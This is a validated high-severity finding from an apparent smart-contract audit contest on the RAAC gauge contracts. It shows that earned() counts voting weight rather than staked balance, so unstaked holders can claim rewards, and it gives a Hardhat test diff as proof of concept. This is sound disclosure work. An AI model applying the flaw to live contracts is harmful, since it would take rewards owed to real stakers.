Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

users can get instant rewards through `getRewards` without staking their VRAACtoken.

Users can earn rewards when they stake their vRAACToken.
The implementation is similar to synthetic staking rewards.

function earned(address account) public view returns (uint256) {
@> return (getUserWeight(account) *
(getRewardPerToken() - userStates[account].rewardPerTokenPaid) / 1e18
) + userStates[account].rewards;
}

but the issue is that it does not factor _balances[account] of the user when calculating user earned rewards as result users who does not stake their VeRaacToken would earn more rewards than users who do.

Proof of Concept

You can see that user2 earned more reward than user1 even though user2 does not stake his token
Make the following changes and run npx hardhat test test/unit/core/governance/gauges/RAACGauge.test.js

diff --git a/test/unit/core/governance/gauges/RAACGauge.test.js b/test/unit/core/governance/gauges/RAACGauge.test.js
index a9ecf6b..83f59e6 100644
--- a/test/unit/core/governance/gauges/RAACGauge.test.js
+++ b/test/unit/core/governance/gauges/RAACGauge.test.js
@@ -30,7 +30,7 @@ describe("RAACGauge", () => {
await rewardToken.mint(user1.address, ethers.parseEther("1000"));
await rewardToken.mint(user2.address, ethers.parseEther("1000"));
await veRAACToken.mint(user1.address, ethers.parseEther("1000"));
- await veRAACToken.mint(user2.address, ethers.parseEther("500"));
+ await veRAACToken.mint(user2.address, ethers.parseEther("1000"));//@audit-info assuming both user has the same amount of veRAACToken
// Deploy controller
const GaugeController = await ethers.getContractFactory("GaugeController");
@@ -261,9 +261,7 @@ describe("RAACGauge", () => {
).to.be.revertedWithCustomError(raacGauge, "RewardCapExceeded");
});
- it("should handle multiple stakers", async () => {
- await veRAACToken.connect(user2).approve(raacGauge.getAddress(), ethers.MaxUint256);
- await raacGauge.connect(user2).stake(ethers.parseEther("100"));
+ it.only("should handle multiple stakers", async () => {
await time.increase(WEEK / 2);
await raacGauge.connect(user1).getReward();
@@ -273,7 +271,7 @@ describe("RAACGauge", () => {
const balance2 = await rewardToken.balanceOf(user2.address);
expect(balance1).to.be.gt(0);
- expect(balance2).to.be.gt(0);
+ expect(balance2).to.be.gt(balance1);
});
});

Impact

users who have stake their tokens could lose on possible rewards

Recommendation

earned should factor users staked balance when setting users rewards

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.